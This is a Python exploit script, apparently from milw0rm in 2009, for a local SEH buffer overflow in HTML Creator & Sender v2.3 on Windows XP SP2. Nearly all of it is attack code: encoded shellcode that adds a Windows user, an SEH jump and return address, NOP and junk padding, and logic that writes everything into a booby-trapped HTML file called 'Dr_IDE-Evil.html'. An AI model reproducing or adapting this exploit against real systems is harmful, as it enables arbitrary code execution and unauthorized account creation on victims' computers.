#!/usr/bin/env python

#############################################################################
#
# HTML Creator & Sender <= v2.3 Build 697 Local Buffer Overflow Exploit (SEH)
# Coded By:     Dr_IDE
# Based On:     http://www.milw0rm.com/exploits/9446
# Testd On:	Windows XP SP2
# Download:     http://www.html-email.net/
# Usage:        Browse to file, enter anything for From and To, Send Email.
#
#############################################################################

import struct

# windows/adduser USER=Dr_IDE PASS=Dr_IDE
# x86/alpha_upper succeeded with size 475 (iteration=1)
# badchars = "\x00\x0a\x0d\x20\xff" at least, Bind Shell was
# not working for me, there are still some unidentified bad chars.

sc = (
"\x89\xe1\xdb\xdf\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x43\x43"
"\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41"
"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x51\x54\x43\x30\x43"
"\x30\x43\x30\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55"
"\x42\x58\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b\x51"
"\x4f\x51\x30\x45\x51\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b"
"\x45\x51\x4a\x4e\x46\x51\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49"
"\x50\x42\x54\x44\x47\x49\x51\x49\x5a\x44\x4d\x45\x51\x49\x52"
"\x4a\x4b\x4a\x54\x47\x4b\x50\x54\x46\x44\x44\x44\x44\x35\x4d"
"\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x43\x56\x4c\x4b"
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4b\x39\x51\x4c\x51\x34"
"\x44\x44\x49\x53\x51\x4f\x46\x51\x4c\x36\x43\x50\x51\x46\x42"
"\x44\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b"
"\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x45\x58\x4c\x49\x4a"
"\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58\x4a\x50\x4d\x5a"
"\x43\x34\x51\x4f\x45\x38\x4d\x48\x4b\x4e\x4c\x4a\x44\x4e\x51"
"\x47\x4b\x4f\x4d\x37\x42\x43\x42\x4d\x43\x54\x46\x4e\x42\x45"
"\x43\x48\x43\x55\x47\x50\x46\x4f\x43\x53\x47\x50\x42\x4e\x43"
"\x55\x44\x34\x47\x50\x43\x45\x42\x53\x43\x55\x44\x32\x47\x50"
"\x50\x44\x42\x52\x51\x4f\x50\x49\x50\x44\x47\x35\x47\x50\x51"
"\x54\x44\x32\x51\x4f\x51\x59\x51\x54\x47\x35\x51\x30\x46\x4f"
"\x47\x31\x47\x34\x51\x54\x47\x50\x46\x46\x51\x36\x51\x30\x42"
"\x4e\x45\x35\x43\x44\x47\x50\x42\x4c\x42\x4f\x45\x33\x45\x31"
"\x42\x4c\x45\x37\x44\x32\x42\x4f\x43\x45\x44\x30\x51\x30\x51"
"\x51\x43\x54\x42\x4d\x43\x59\x42\x4e\x45\x39\x44\x33\x43\x44"
"\x43\x42\x45\x31\x43\x44\x42\x4f\x42\x52\x44\x33\x47\x50\x50"
"\x44\x44\x32\x51\x4f\x47\x39\x47\x34\x47\x35\x47\x50\x46\x4f"
"\x47\x31\x50\x44\x47\x34\x43\x30\x45\x5a\x41\x41")

jump = ("\xEB\x06\x90\x90")
junk = ("\x43" * (4616 - len(sc)))
retn = ("\xFA\x89\xAB\x71") #WS2_32.DLL XPSP2
nops = ("\x90" * 8)

# Don't mess with the headers, we need to create a valid HTML file
header1 =  ("<HTML>\n<HEAD>\n</HEAD>\n<BODY>\n<img src = \"")
payload =  ("\x41" * 56 + jump + retn + nops + sc + junk)
header2 =  ("\">\n</BODY>\n</HTML>\n")

try:
    f1 = open("Dr_IDE-Evil.html","w")
    f1.write(header1 + payload + header2)
    f1.close()
    print("\nExploit file created!\n")
except:
    print ("Error")

# milw0rm.com [2009-08-28]
